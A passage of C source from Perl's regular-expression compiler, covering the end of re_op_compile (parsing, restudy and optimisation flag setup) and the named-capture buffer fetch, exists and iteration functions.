orig_rx_flags & RXf_SPLIT ? " for split" : "")); return (REGEXP*)re; } } exp = SvPV_nomg(pat, plen); if (!eng->op_comp) { if ((SvUTF8(pat) && IN_BYTES) || SvGMAGICAL(pat) || SvAMAGIC(pat)) { /* make a temporary copy; either to convert to bytes, * or to avoid repeating get-magic / overloaded stringify */ pat = newSVpvn_flags(exp, plen, SVs_TEMP | (IN_BYTES ? 0 : SvUTF8(pat))); } return CALLREGCOMP_ENG(eng, pat, orig_rx_flags); } /* ignore the utf8ness if the pattern is 0 length */ RExC_utf8 = RExC_orig_utf8 = (plen == 0 || IN_BYTES) ? 0 : SvUTF8(pat); RExC_uni_semantics = 0; RExC_contains_locale = 0; RExC_strict = cBOOL(pm_flags & RXf_PMf_STRICT); RExC_in_script_run = 0; RExC_study_started = 0; pRExC_state->runtime_code_qr = NULL; RExC_frame_head= NULL; RExC_frame_last= NULL; RExC_frame_count= 0; RExC_latest_warn_offset = 0; RExC_use_BRANCHJ = 0; RExC_total_parens = 0; RExC_open_parens = NULL; RExC_close_parens = NULL; RExC_paren_names = NULL; RExC_size = 0; RExC_seen_d_op = FALSE; #ifdef DEBUGGING RExC_paren_name_list = NULL; #endif DEBUG_r({ RExC_mysv1= sv_newmortal(); RExC_mysv2= sv_newmortal(); }); DEBUG_COMPILE_r({ SV *dsv= sv_newmortal(); RE_PV_QUOTED_DECL(s, RExC_utf8, dsv, exp, plen, PL_dump_re_max_len); Perl_re_printf( aTHX_ "%sCompiling REx%s %s\n", PL_colors[4], PL_colors[5], s); }); /* we jump here if we have to recompile, e.g., from upgrading the pattern * to utf8 */ if ((pm_flags & PMf_USE_RE_EVAL) /* this second condition covers the non-regex literal case, * i.e. $foo =~ '(?{})'. */ || (IN_PERL_COMPILETIME && (PL_hints & HINT_RE_EVAL)) ) runtime_code = S_has_runtime_code(aTHX_ pRExC_state, exp, plen); redo_parse: /* return old regex if pattern hasn't changed */ /* XXX: note in the below we have to check the flags as well as the * pattern. * * Things get a touch tricky as we have to compare the utf8 flag * independently from the compile flags. */ if ( old_re && !recompile && !!RX_UTF8(old_re) == !!RExC_utf8 && ( RX_COMPFLAGS(old_re) == ( orig_rx_flags & RXf_PMf_FLAGCOPYMASK ) ) && RX_PRECOMP(old_re) && RX_PRELEN(old_re) == plen && memEQ(RX_PRECOMP(old_re), exp, plen) && !runtime_code /* with runtime code, always recompile */ ) { return old_re; } /* Allocate the pattern's SV */ RExC_rx_sv = Rx = (REGEXP*) newSV_type(SVt_REGEXP); RExC_rx = ReANY(Rx); if ( RExC_rx == NULL ) FAIL("Regexp out of space"); rx_flags = orig_rx_flags; if ( (UTF || RExC_uni_semantics) && initial_charset == REGEX_DEPENDS_CHARSET) { /* Set to use unicode semantics if the pattern is in utf8 and has the * 'depends' charset specified, as it means unicode when utf8 */ set_regex_charset(&rx_flags, REGEX_UNICODE_CHARSET); RExC_uni_semantics = 1; } RExC_pm_flags = pm_flags; if (runtime_code) { assert(TAINTING_get || !TAINT_get); if (TAINT_get) Perl_croak(aTHX_ "Eval-group in insecure regular expression"); if (!S_compile_runtime_code(aTHX_ pRExC_state, exp, plen)) { /* whoops, we have a non-utf8 pattern, whilst run-time code * got compiled as utf8. Try again with a utf8 pattern */ S_pat_upgrade_to_utf8(aTHX_ pRExC_state, &exp, &plen, pRExC_state->code_blocks ? pRExC_state->code_blocks->count : 0); goto redo_parse; } } assert(!pRExC_state->runtime_code_qr); RExC_sawback = 0; RExC_seen = 0; RExC_maxlen = 0; RExC_in_lookbehind = 0; RExC_seen_zerolen = *exp == '^' ? -1 : 0; #ifdef EBCDIC RExC_recode_x_to_native = 0; #endif RExC_in_multi_char_class = 0; RExC_start = RExC_copy_start_in_constructed = RExC_copy_start_in_input = RExC_precomp = exp; RExC_precomp_end = RExC_end = exp + plen; RExC_nestroot = 0; RExC_whilem_seen = 0; RExC_end_op = NULL; RExC_recurse = NULL; RExC_study_chunk_recursed = NULL; RExC_study_chunk_recursed_bytes= 0; RExC_recurse_count = 0; pRExC_state->code_index = 0; /* Initialize the string in the compiled pattern. This is so that there is * something to output if necessary */ set_regex_pv(pRExC_state, Rx); DEBUG_PARSE_r({ Perl_re_printf( aTHX_ "Starting parse and generation\n"); RExC_lastnum=0; RExC_lastparse=NULL; }); /* Allocate space and zero-initialize. Note, the two step process of zeroing when in debug mode, thus anything assigned has to happen after that */ if (! RExC_size) { /* On the first pass of the parse, we guess how big this will be. Then * we grow in one operation to that amount and then give it back. As * we go along, we re-allocate what we need. * * XXX Currently the guess is essentially that the pattern will be an * EXACT node with one byte input, one byte output. This is crude, and * better heuristics are welcome. * * On any subsequent passes, we guess what we actually computed in the * latest earlier pass. Such a pass probably didn't complete so is * missing stuff. We could improve those guesses by knowing where the * parse stopped, and use the length so far plus apply the above * assumption to what's left. */ RExC_size = STR_SZ(RExC_end - RExC_start); } Newxc(RExC_rxi, sizeof(regexp_internal) + RExC_size, char, regexp_internal); if ( RExC_rxi == NULL ) FAIL("Regexp out of space"); Zero(RExC_rxi, sizeof(regexp_internal) + RExC_size, char); RXi_SET( RExC_rx, RExC_rxi ); /* We start from 0 (over from 0 in the case this is a reparse. The first * node parsed will give back any excess memory we have allocated so far). * */ RExC_size = 0; /* non-zero initialization begins here */ RExC_rx->engine= eng; RExC_rx->extflags = rx_flags; RXp_COMPFLAGS(RExC_rx) = orig_rx_flags & RXf_PMf_FLAGCOPYMASK; if (pm_flags & PMf_IS_QR) { RExC_rxi->code_blocks = pRExC_state->code_blocks; if (RExC_rxi->code_blocks) { RExC_rxi->code_blocks->refcnt++; } } RExC_rx->intflags = 0; RExC_flags = rx_flags; /* don't let top level (?i) bleed */ RExC_parse = exp; /* This NUL is guaranteed because the pattern comes from an SV*, and the sv * code makes sure the final byte is an uncounted NUL. But should this * ever not be the case, lots of things could read beyond the end of the * buffer: loops like * while(isFOO(*RExC_parse)) RExC_parse++; * strchr(RExC_parse, "foo"); * etc. So it is worth noting. */ assert(*RExC_end == '\0'); RExC_naughty = 0; RExC_npar = 1; RExC_parens_buf_size = 0; RExC_emit_start = RExC_rxi->program; pRExC_state->code_index = 0; *((char*) RExC_emit_start) = (char) REG_MAGIC; RExC_emit = 1; /* Do the parse */ if (reg(pRExC_state, 0, &flags, 1)) { /* Success!, But we may need to redo the parse knowing how many parens * there actually are */ if (IN_PARENS_PASS) { flags |= RESTART_PARSE; } /* We have that number in RExC_npar */ RExC_total_parens = RExC_npar; } else if (! MUST_RESTART(flags)) { ReREFCNT_dec(Rx); Perl_croak(aTHX_ "panic: reg returned failure to re_op_compile, flags=%#" UVxf, (UV) flags); } /* Here, we either have success, or we have to redo the parse for some reason */ if (MUST_RESTART(flags)) { /* It's possible to write a regexp in ascii that represents Unicode codepoints outside of the byte range, such as via \x{100}. If we detect such a sequence we have to convert the entire pattern to utf8 and then recompile, as our sizing calculation will have been based on 1 byte == 1 character, but we will need to use utf8 to encode at least some part of the pattern, and therefore must convert the whole thing. -- dmq */ if (flags & NEED_UTF8) { /* We have stored the offset of the final warning output so far. * That must be adjusted. Any variant characters between the start * of the pattern and this warning count for 2 bytes in the final, * so just add them again */ if (UNLIKELY(RExC_latest_warn_offset > 0)) { RExC_latest_warn_offset += variant_under_utf8_count((U8 *) exp, (U8 *) exp + RExC_latest_warn_offset); } S_pat_upgrade_to_utf8(aTHX_ pRExC_state, &exp, &plen, pRExC_state->code_blocks ? pRExC_state->code_blocks->count : 0); DEBUG_PARSE_r(Perl_re_printf( aTHX_ "Need to redo parse after upgrade\n")); } else { DEBUG_PARSE_r(Perl_re_printf( aTHX_ "Need to redo parse\n")); } if (ALL_PARENS_COUNTED) { /* Make enough room for all the known parens, and zero it */ Renew(RExC_open_parens, RExC_total_parens, regnode_offset); Zero(RExC_open_parens, RExC_total_parens, regnode_offset); RExC_open_parens[0] = 1; /* +1 for REG_MAGIC */ Renew(RExC_close_parens, RExC_total_parens, regnode_offset); Zero(RExC_close_parens, RExC_total_parens, regnode_offset); } else { /* Parse did not complete. Reinitialize the parentheses structures */ RExC_total_parens = 0; if (RExC_open_parens) { Safefree(RExC_open_parens); RExC_open_parens = NULL; } if (RExC_close_parens) { Safefree(RExC_close_parens); RExC_close_parens = NULL; } } /* Clean up what we did in this parse */ SvREFCNT_dec_NN(RExC_rx_sv); goto redo_parse; } /* Here, we have successfully parsed and generated the pattern's program * for the regex engine. We are ready to finish things up and look for * optimizations. */ /* Update the string to compile, with correct modifiers, etc */ set_regex_pv(pRExC_state, Rx); RExC_rx->nparens = RExC_total_parens - 1; /* Uses the upper 4 bits of the FLAGS field, so keep within that size */ if (RExC_whilem_seen > 15) RExC_whilem_seen = 15; DEBUG_PARSE_r({ Perl_re_printf( aTHX_ "Required size %" IVdf " nodes\n", (IV)RExC_size); RExC_lastnum=0; RExC_lastparse=NULL; }); #ifdef RE_TRACK_PATTERN_OFFSETS DEBUG_OFFSETS_r(Perl_re_printf( aTHX_ "%s %" UVuf " bytes for offset annotations.\n", RExC_offsets ? "Got" : "Couldn't get", (UV)((RExC_offsets[0] * 2 + 1)))); DEBUG_OFFSETS_r(if (RExC_offsets) { const STRLEN len = RExC_offsets[0]; STRLEN i; GET_RE_DEBUG_FLAGS_DECL; Perl_re_printf( aTHX_ "Offsets: [%" UVuf "]\n\t", (UV)RExC_offsets[0]); for (i = 1; i <= len; i++) { if (RExC_offsets[i*2-1] || RExC_offsets[i*2]) Perl_re_printf( aTHX_ "%" UVuf ":%" UVuf "[%" UVuf "] ", (UV)i, (UV)RExC_offsets[i*2-1], (UV)RExC_offsets[i*2]); } Perl_re_printf( aTHX_ "\n"); }); #else SetProgLen(RExC_rxi,RExC_size); #endif DEBUG_OPTIMISE_r( Perl_re_printf( aTHX_ "Starting post parse optimization\n"); ); /* XXXX To minimize changes to RE engine we always allocate 3-units-long substrs field. */ Newx(RExC_rx->substrs, 1, struct reg_substr_data); if (RExC_recurse_count) { Newx(RExC_recurse, RExC_recurse_count, regnode *); SAVEFREEPV(RExC_recurse); } if (RExC_seen & REG_RECURSE_SEEN) { /* Note, RExC_total_parens is 1 + the number of parens in a pattern. * So its 1 if there are no parens. */ RExC_study_chunk_recursed_bytes= (RExC_total_parens >> 3) + ((RExC_total_parens & 0x07) != 0); Newx(RExC_study_chunk_recursed, RExC_study_chunk_recursed_bytes * RExC_total_parens, U8); SAVEFREEPV(RExC_study_chunk_recursed); } reStudy: RExC_rx->minlen = minlen = sawlookahead = sawplus = sawopen = sawminmod = 0; DEBUG_r( RExC_study_chunk_recursed_count= 0; ); Zero(RExC_rx->substrs, 1, struct reg_substr_data); if (RExC_study_chunk_recursed) { Zero(RExC_study_chunk_recursed, RExC_study_chunk_recursed_bytes * RExC_total_parens, U8); } #ifdef TRIE_STUDY_OPT if (!restudied) { StructCopy(&zero_scan_data, &data, scan_data_t); copyRExC_state = RExC_state; } else { U32 seen=RExC_seen; DEBUG_OPTIMISE_r(Perl_re_printf( aTHX_ "Restudying\n")); RExC_state = copyRExC_state; if (seen & REG_TOP_LEVEL_BRANCHES_SEEN) RExC_seen |= REG_TOP_LEVEL_BRANCHES_SEEN; else RExC_seen &= ~REG_TOP_LEVEL_BRANCHES_SEEN; StructCopy(&zero_scan_data, &data, scan_data_t); } #else StructCopy(&zero_scan_data, &data, scan_data_t); #endif /* Dig out information for optimizations. */ RExC_rx->extflags = RExC_flags; /* was pm_op */ /*dmq: removed as part of de-PMOP: pm->op_pmflags = RExC_flags; */ if (UTF) SvUTF8_on(Rx); /* Unicode in it? */ RExC_rxi->regstclass = NULL; if (RExC_naughty >= TOO_NAUGHTY) /* Probably an expensive pattern. */ RExC_rx->intflags |= PREGf_NAUGHTY; scan = RExC_rxi->program + 1; /* First BRANCH. */ /* testing for BRANCH here tells us whether there is "must appear" data in the pattern. If there is then we can use it for optimisations */ if (!(RExC_seen & REG_TOP_LEVEL_BRANCHES_SEEN)) { /* Only one top-level choice. */ SSize_t fake; STRLEN longest_length[2]; regnode_ssc ch_class; /* pointed to by data */ int stclass_flag; SSize_t last_close = 0; /* pointed to by data */ regnode *first= scan; regnode *first_next= regnext(first); int i; /* * Skip introductions and multiplicators >= 1 * so that we can extract the 'meat' of the pattern that must * match in the large if() sequence following. * NOTE that EXACT is NOT covered here, as it is normally * picked up by the optimiser separately. * * This is unfortunate as the optimiser isnt handling lookahead * properly currently. * */ while ((OP(first) == OPEN && (sawopen = 1)) || /* An OR of *one* alternative - should not happen now. */ (OP(first) == BRANCH && OP(first_next) != BRANCH) || /* for now we can't handle lookbehind IFMATCH*/ (OP(first) == IFMATCH && !first->flags && (sawlookahead = 1)) || (OP(first) == PLUS) || (OP(first) == MINMOD) || /* An {n,m} with n>0 */ (PL_regkind[OP(first)] == CURLY && ARG1(first) > 0) || (OP(first) == NOTHING && PL_regkind[OP(first_next)] != END )) { /* * the only op that could be a regnode is PLUS, all the rest * will be regnode_1 or regnode_2. * * (yves doesn't think this is true) */ if (OP(first) == PLUS) sawplus = 1; else { if (OP(first) == MINMOD) sawminmod = 1; first += regarglen[OP(first)]; } first = NEXTOPER(first); first_next= regnext(first); } /* Starting-point info. */ again: DEBUG_PEEP("first:", first, 0, 0); /* Ignore EXACT as we deal with it later. */ if (PL_regkind[OP(first)] == EXACT) { if ( OP(first) == EXACT || OP(first) == EXACT_ONLY8 || OP(first) == EXACTL) { NOOP; /* Empty, get anchored substr later. */ } else RExC_rxi->regstclass = first; } #ifdef TRIE_STCLASS else if (PL_regkind[OP(first)] == TRIE && ((reg_trie_data *)RExC_rxi->data->data[ ARG(first) ])->minlen>0) { /* this can happen only on restudy */ RExC_rxi->regstclass = construct_ahocorasick_from_trie(pRExC_state, (regnode *)first, 0); } #endif else if (REGNODE_SIMPLE(OP(first))) RExC_rxi->regstclass = first; else if (PL_regkind[OP(first)] == BOUND || PL_regkind[OP(first)] == NBOUND) RExC_rxi->regstclass = first; else if (PL_regkind[OP(first)] == BOL) { RExC_rx->intflags |= (OP(first) == MBOL ? PREGf_ANCH_MBOL : PREGf_ANCH_SBOL); first = NEXTOPER(first); goto again; } else if (OP(first) == GPOS) { RExC_rx->intflags |= PREGf_ANCH_GPOS; first = NEXTOPER(first); goto again; } else if ((!sawopen || !RExC_sawback) && !sawlookahead && (OP(first) == STAR && PL_regkind[OP(NEXTOPER(first))] == REG_ANY) && !(RExC_rx->intflags & PREGf_ANCH) && !pRExC_state->code_blocks) { /* turn .* into ^.* with an implied $*=1 */ const int type = (OP(NEXTOPER(first)) == REG_ANY) ? PREGf_ANCH_MBOL : PREGf_ANCH_SBOL; RExC_rx->intflags |= (type | PREGf_IMPLICIT); first = NEXTOPER(first); goto again; } if (sawplus && !sawminmod && !sawlookahead && (!sawopen || !RExC_sawback) && !pRExC_state->code_blocks) /* May examine pos and $& */ /* x+ must match at the 1st pos of run of x's */ RExC_rx->intflags |= PREGf_SKIP; /* Scan is after the zeroth branch, first is atomic matcher. */ #ifdef TRIE_STUDY_OPT DEBUG_PARSE_r( if (!restudied) Perl_re_printf( aTHX_ "first at %" IVdf "\n", (IV)(first - scan + 1)) ); #else DEBUG_PARSE_r( Perl_re_printf( aTHX_ "first at %" IVdf "\n", (IV)(first - scan + 1)) ); #endif /* * If there's something expensive in the r.e., find the * longest literal string that must appear and make it the * regmust. Resolve ties in favor of later strings, since * the regstart check works with the beginning of the r.e. * and avoiding duplication strengthens checking. Not a * strong reason, but sufficient in the absence of others. * [Now we resolve ties in favor of the earlier string if * it happens that c_offset_min has been invalidated, since the * earlier string may buy us something the later one won't.] */ data.substrs[0].str = newSVpvs(""); data.substrs[1].str = newSVpvs(""); data.last_found = newSVpvs(""); data.cur_is_floating = 0; /* initially any found substring is fixed */ ENTER_with_name("study_chunk"); SAVEFREESV(data.substrs[0].str); SAVEFREESV(data.substrs[1].str); SAVEFREESV(data.last_found); first = scan; if (!RExC_rxi->regstclass) { ssc_init(pRExC_state, &ch_class); data.start_class = &ch_class; stclass_flag = SCF_DO_STCLASS_AND; } else /* XXXX Check for BOUND? */ stclass_flag = 0; data.last_closep = &last_close; DEBUG_RExC_seen(); /* * MAIN ENTRY FOR study_chunk() FOR m/PATTERN/ * (NO top level branches) */ minlen = study_chunk(pRExC_state, &first, &minlen, &fake, scan + RExC_size, /* Up to end */ &data, -1, 0, NULL, SCF_DO_SUBSTR | SCF_WHILEM_VISITED_POS | stclass_flag | (restudied ? SCF_TRIE_DOING_RESTUDY : 0), 0); CHECK_RESTUDY_GOTO_butfirst(LEAVE_with_name("study_chunk")); if ( RExC_total_parens == 1 && !data.cur_is_floating && data.last_start_min == 0 && data.last_end > 0 && !RExC_seen_zerolen && !(RExC_seen & REG_VERBARG_SEEN) && !(RExC_seen & REG_GPOS_SEEN) ){ RExC_rx->extflags |= RXf_CHECK_ALL; } scan_commit(pRExC_state, &data,&minlen, 0); /* XXX this is done in reverse order because that's the way the * code was before it was parameterised. Don't know whether it * actually needs doing in reverse order. DAPM */ for (i = 1; i >= 0; i--) { longest_length[i] = CHR_SVLEN(data.substrs[i].str); if ( !( i && SvCUR(data.substrs[0].str) /* ok to leave SvCUR */ && data.substrs[0].min_offset == data.substrs[1].min_offset && SvCUR(data.substrs[0].str) == SvCUR(data.substrs[1].str) ) && S_setup_longest (aTHX_ pRExC_state, &(RExC_rx->substrs->data[i]), &(data.substrs[i]), longest_length[i])) { RExC_rx->substrs->data[i].min_offset = data.substrs[i].min_offset - data.substrs[i].lookbehind; RExC_rx->substrs->data[i].max_offset = data.substrs[i].max_offset; /* Don't offset infinity */ if (data.substrs[i].max_offset < SSize_t_MAX) RExC_rx->substrs->data[i].max_offset -= data.substrs[i].lookbehind; SvREFCNT_inc_simple_void_NN(data.substrs[i].str); } else { RExC_rx->substrs->data[i].substr = NULL; RExC_rx->substrs->data[i].utf8_substr = NULL; longest_length[i] = 0; } } LEAVE_with_name("study_chunk"); if (RExC_rxi->regstclass && (OP(RExC_rxi->regstclass) == REG_ANY || OP(RExC_rxi->regstclass) == SANY)) RExC_rxi->regstclass = NULL; if ((!(RExC_rx->substrs->data[0].substr || RExC_rx->substrs->data[0].utf8_substr) || RExC_rx->substrs->data[0].min_offset) && stclass_flag && ! (ANYOF_FLAGS(data.start_class) & SSC_MATCHES_EMPTY_STRING) && is_ssc_worth_it(pRExC_state, data.start_class)) { const U32 n = add_data(pRExC_state, STR_WITH_LEN("f")); ssc_finalize(pRExC_state, data.start_class); Newx(RExC_rxi->data->data[n], 1, regnode_ssc); StructCopy(data.start_class, (regnode_ssc*)RExC_rxi->data->data[n], regnode_ssc); RExC_rxi->regstclass = (regnode*)RExC_rxi->data->data[n]; RExC_rx->intflags &= ~PREGf_SKIP; /* Used in find_byclass(). */ DEBUG_COMPILE_r({ SV *sv = sv_newmortal(); regprop(RExC_rx, sv, (regnode*)data.start_class, NULL, pRExC_state); Perl_re_printf( aTHX_ "synthetic stclass \"%s\".\n", SvPVX_const(sv));}); data.start_class = NULL; } /* A temporary algorithm prefers floated substr to fixed one of * same length to dig more info. */ i = (longest_length[0] <= longest_length[1]); RExC_rx->substrs->check_ix = i; RExC_rx->check_end_shift = RExC_rx->substrs->data[i].end_shift; RExC_rx->check_substr = RExC_rx->substrs->data[i].substr; RExC_rx->check_utf8 = RExC_rx->substrs->data[i].utf8_substr; RExC_rx->check_offset_min = RExC_rx->substrs->data[i].min_offset; RExC_rx->check_offset_max = RExC_rx->substrs->data[i].max_offset; if (!i && (RExC_rx->intflags & (PREGf_ANCH_SBOL|PREGf_ANCH_GPOS))) RExC_rx->intflags |= PREGf_NOSCAN; if ((RExC_rx->check_substr || RExC_rx->check_utf8) ) { RExC_rx->extflags |= RXf_USE_INTUIT; if (SvTAIL(RExC_rx->check_substr ? RExC_rx->check_substr : RExC_rx->check_utf8)) RExC_rx->extflags |= RXf_INTUIT_TAIL; } /* XXX Unneeded? dmq (shouldn't as this is handled elsewhere) if ( (STRLEN)minlen < longest_length[1] ) minlen= longest_length[1]; if ( (STRLEN)minlen < longest_length[0] ) minlen= longest_length[0]; */ } else { /* Several toplevels. Best we can is to set minlen. */ SSize_t fake; regnode_ssc ch_class; SSize_t last_close = 0; DEBUG_PARSE_r(Perl_re_printf( aTHX_ "\nMulti Top Level\n")); scan = RExC_rxi->program + 1; ssc_init(pRExC_state, &ch_class); data.start_class = &ch_class; data.last_closep = &last_close; DEBUG_RExC_seen(); /* * MAIN ENTRY FOR study_chunk() FOR m/P1|P2|.../ * (patterns WITH top level branches) */ minlen = study_chunk(pRExC_state, &scan, &minlen, &fake, scan + RExC_size, &data, -1, 0, NULL, SCF_DO_STCLASS_AND|SCF_WHILEM_VISITED_POS|(restudied ? SCF_TRIE_DOING_RESTUDY : 0), 0); CHECK_RESTUDY_GOTO_butfirst(NOOP); RExC_rx->check_substr = NULL; RExC_rx->check_utf8 = NULL; RExC_rx->substrs->data[0].substr = NULL; RExC_rx->substrs->data[0].utf8_substr = NULL; RExC_rx->substrs->data[1].substr = NULL; RExC_rx->substrs->data[1].utf8_substr = NULL; if (! (ANYOF_FLAGS(data.start_class) & SSC_MATCHES_EMPTY_STRING) && is_ssc_worth_it(pRExC_state, data.start_class)) { const U32 n = add_data(pRExC_state, STR_WITH_LEN("f")); ssc_finalize(pRExC_state, data.start_class); Newx(RExC_rxi->data->data[n], 1, regnode_ssc); StructCopy(data.start_class, (regnode_ssc*)RExC_rxi->data->data[n], regnode_ssc); RExC_rxi->regstclass = (regnode*)RExC_rxi->data->data[n]; RExC_rx->intflags &= ~PREGf_SKIP; /* Used in find_byclass(). */ DEBUG_COMPILE_r({ SV* sv = sv_newmortal(); regprop(RExC_rx, sv, (regnode*)data.start_class, NULL, pRExC_state); Perl_re_printf( aTHX_ "synthetic stclass \"%s\".\n", SvPVX_const(sv));}); data.start_class = NULL; } } if (RExC_seen & REG_UNBOUNDED_QUANTIFIER_SEEN) { RExC_rx->extflags |= RXf_UNBOUNDED_QUANTIFIER_SEEN; RExC_rx->maxlen = REG_INFTY; } else { RExC_rx->maxlen = RExC_maxlen; } /* Guard against an embedded (?=) or (?<=) with a longer minlen than the "real" pattern. */ DEBUG_OPTIMISE_r({ Perl_re_printf( aTHX_ "minlen: %" IVdf " RExC_rx->minlen:%" IVdf " maxlen:%" IVdf "\n", (IV)minlen, (IV)RExC_rx->minlen, (IV)RExC_maxlen); }); RExC_rx->minlenret = minlen; if (RExC_rx->minlen < minlen) RExC_rx->minlen = minlen; if (RExC_seen & REG_RECURSE_SEEN ) { RExC_rx->intflags |= PREGf_RECURSE_SEEN; Newx(RExC_rx->recurse_locinput, RExC_rx->nparens + 1, char *); } if (RExC_seen & REG_GPOS_SEEN) RExC_rx->intflags |= PREGf_GPOS_SEEN; if (RExC_seen & REG_LOOKBEHIND_SEEN) RExC_rx->extflags |= RXf_NO_INPLACE_SUBST; /* inplace might break the lookbehind */ if (pRExC_state->code_blocks) RExC_rx->extflags |= RXf_EVAL_SEEN; if (RExC_seen & REG_VERBARG_SEEN) { RExC_rx->intflags |= PREGf_VERBARG_SEEN; RExC_rx->extflags |= RXf_NO_INPLACE_SUBST; /* don't understand this! Yves */ } if (RExC_seen & REG_CUTGROUP_SEEN) RExC_rx->intflags |= PREGf_CUTGROUP_SEEN; if (pm_flags & PMf_USE_RE_EVAL) RExC_rx->intflags |= PREGf_USE_RE_EVAL; if (RExC_paren_names) RXp_PAREN_NAMES(RExC_rx) = MUTABLE_HV(SvREFCNT_inc(RExC_paren_names)); else RXp_PAREN_NAMES(RExC_rx) = NULL; /* If we have seen an anchor in our pattern then we set the extflag RXf_IS_ANCHORED * so it can be used in pp.c */ if (RExC_rx->intflags & PREGf_ANCH) RExC_rx->extflags |= RXf_IS_ANCHORED; { /* this is used to identify "special" patterns that might result * in Perl NOT calling the regex engine and instead doing the match "itself", * particularly special cases in split//. By having the regex compiler * do this pattern matching at a regop level (instead of by inspecting the pattern) * we avoid weird issues with equivalent patterns resulting in different behavior, * AND we allow non Perl engines to get the same optimizations by the setting the * flags appropriately - Yves */ regnode *first = RExC_rxi->program + 1; U8 fop = OP(first); regnode *next = regnext(first); U8 nop = OP(next); if (PL_regkind[fop] == NOTHING && nop == END) RExC_rx->extflags |= RXf_NULL; else if ((fop == MBOL || (fop == SBOL && !first->flags)) && nop == END) /* when fop is SBOL first->flags will be true only when it was * produced by parsing /\A/, and not when parsing /^/. This is * very important for the split code as there we want to * treat /^/ as /^/m, but we do not want to treat /\A/ as /^/m. * See rt #122761 for more details. -- Yves */ RExC_rx->extflags |= RXf_START_ONLY; else if (fop == PLUS && PL_regkind[nop] == POSIXD && FLAGS(next) == _CC_SPACE && nop == END) RExC_rx->extflags |= RXf_WHITE; else if ( RExC_rx->extflags & RXf_SPLIT && (fop == EXACT || fop == EXACT_ONLY8 || fop == EXACTL) && STR_LEN(first) == 1 && *(STRING(first)) == ' ' && nop == END ) RExC_rx->extflags |= (RXf_SKIPWHITE|RXf_WHITE); } if (RExC_contains_locale) { RXp_EXTFLAGS(RExC_rx) |= RXf_TAINTED; } #ifdef DEBUGGING if (RExC_paren_names) { RExC_rxi->name_list_idx = add_data( pRExC_state, STR_WITH_LEN("a")); RExC_rxi->data->data[RExC_rxi->name_list_idx] = (void*)SvREFCNT_inc(RExC_paren_name_list); } else #endif RExC_rxi->name_list_idx = 0; while ( RExC_recurse_count > 0 ) { const regnode *scan = RExC_recurse[ --RExC_recurse_count ]; /* * This data structure is set up in study_chunk() and is used * to calculate the distance between a GOSUB regopcode and * the OPEN/CURLYM (CURLYM's are special and can act like OPEN's) * it refers to. * * If for some reason someone writes code that optimises * away a GOSUB opcode then the assert should be changed to * an if(scan) to guard the ARG2L_SET() - Yves * */ assert(scan && OP(scan) == GOSUB); ARG2L_SET( scan, RExC_open_parens[ARG(scan)] - REGNODE_OFFSET(scan)); } Newxz(RExC_rx->offs, RExC_total_parens, regexp_paren_pair); /* assume we don't need to swap parens around before we match */ DEBUG_TEST_r({ Perl_re_printf( aTHX_ "study_chunk_recursed_count: %lu\n", (unsigned long)RExC_study_chunk_recursed_count); }); DEBUG_DUMP_r({ DEBUG_RExC_seen(); Perl_re_printf( aTHX_ "Final program:\n"); regdump(RExC_rx); }); if (RExC_open_parens) { Safefree(RExC_open_parens); RExC_open_parens = NULL; } if (RExC_close_parens) { Safefree(RExC_close_parens); RExC_close_parens = NULL; } #ifdef USE_ITHREADS /* under ithreads the ?pat? PMf_USED flag on the pmop is simulated * by setting the regexp SV to readonly-only instead. If the * pattern's been recompiled, the USEDness should remain. */ if (old_re && SvREADONLY(old_re)) SvREADONLY_on(Rx); #endif return Rx; } SV* Perl_reg_named_buff(pTHX_ REGEXP * const rx, SV * const key, SV * const value, const U32 flags) { PERL_ARGS_ASSERT_REG_NAMED_BUFF; PERL_UNUSED_ARG(value); if (flags & RXapif_FETCH) { return reg_named_buff_fetch(rx, key, flags); } else if (flags & (RXapif_STORE | RXapif_DELETE | RXapif_CLEAR)) { Perl_croak_no_modify(); return NULL; } else if (flags & RXapif_EXISTS) { return reg_named_buff_exists(rx, key, flags) ? &PL_sv_yes : &PL_sv_no; } else if (flags & RXapif_REGNAMES) { return reg_named_buff_all(rx, flags); } else if (flags & (RXapif_SCALAR | RXapif_REGNAMES_COUNT)) { return reg_named_buff_scalar(rx, flags); } else { Perl_croak(aTHX_ "panic: Unknown flags %d in named_buff", (int)flags); return NULL; } } SV* Perl_reg_named_buff_iter(pTHX_ REGEXP * const rx, const SV * const lastkey, const U32 flags) { PERL_ARGS_ASSERT_REG_NAMED_BUFF_ITER; PERL_UNUSED_ARG(lastkey); if (flags & RXapif_FIRSTKEY) return reg_named_buff_firstkey(rx, flags); else if (flags & RXapif_NEXTKEY) return reg_named_buff_nextkey(rx, flags); else { Perl_croak(aTHX_ "panic: Unknown flags %d in named_buff_iter", (int)flags); return NULL; } } SV* Perl_reg_named_buff_fetch(pTHX_ REGEXP * const r, SV * const namesv, const U32 flags) { SV *ret; struct regexp *const rx = ReANY(r); PERL_ARGS_ASSERT_REG_NAMED_BUFF_FETCH; if (rx && RXp_PAREN_NAMES(rx)) { HE *he_str = hv_fetch_ent( RXp_PAREN_NAMES(rx), namesv, 0, 0 ); if (he_str) { IV i; SV* sv_dat=HeVAL(he_str); I32 *nums=(I32*)SvPVX(sv_dat); AV * const retarray = (flags & RXapif_ALL) ? newAV() : NULL; for ( i=0; i<SvIVX(sv_dat); i++ ) { if ((I32)(rx->nparens) >= nums[i] && rx->offs[nums[i]].start != -1 && rx->offs[nums[i]].end != -1) { ret = newSVpvs(""); CALLREG_NUMBUF_FETCH(r, nums[i], ret); if (!retarray) return ret; } else { if (retarray) ret = newSVsv(&PL_sv_undef); } if (retarray) av_push(retarray, ret); } if (retarray) return newRV_noinc(MUTABLE_SV(retarray)); } } return NULL; } bool Perl_reg_named_buff_exists(pTHX_ REGEXP * const r, SV * const key, const U32 flags) { struct regexp *const rx = ReANY(r); PERL_ARGS_ASSERT_REG_NAMED_BUFF_EXISTS; if (rx && RXp_PAREN_NAMES(rx)) { if (flags & RXapif_ALL) { return hv_exists_ent(RXp_PAREN_NAMES(rx), key, 0); } else { SV *sv = CALLREG_NAMED_BUFF_FETCH(r, key, flags); if (sv) { SvREFCNT_dec_NN(sv); return TRUE; } else { return FALSE; } } } else { return FALSE; } } SV* Perl_reg_named_buff_firstkey(pTHX_ REGEXP * const r, const U32 flags) { struct regexp *const rx = ReANY(r); PERL_ARGS_ASSERT_REG_NAMED_BUFF_FIRSTKEY; if ( rx && RXp_PAREN_NAMES(rx) ) { (void)hv_iterinit(RXp_PAREN_NAMES(rx)); return CALLREG_NAMED_BUFF_NEXTKEY(r, NULL, flags & ~RXapif_FIRSTKEY); } else { return FALSE; } } SV* 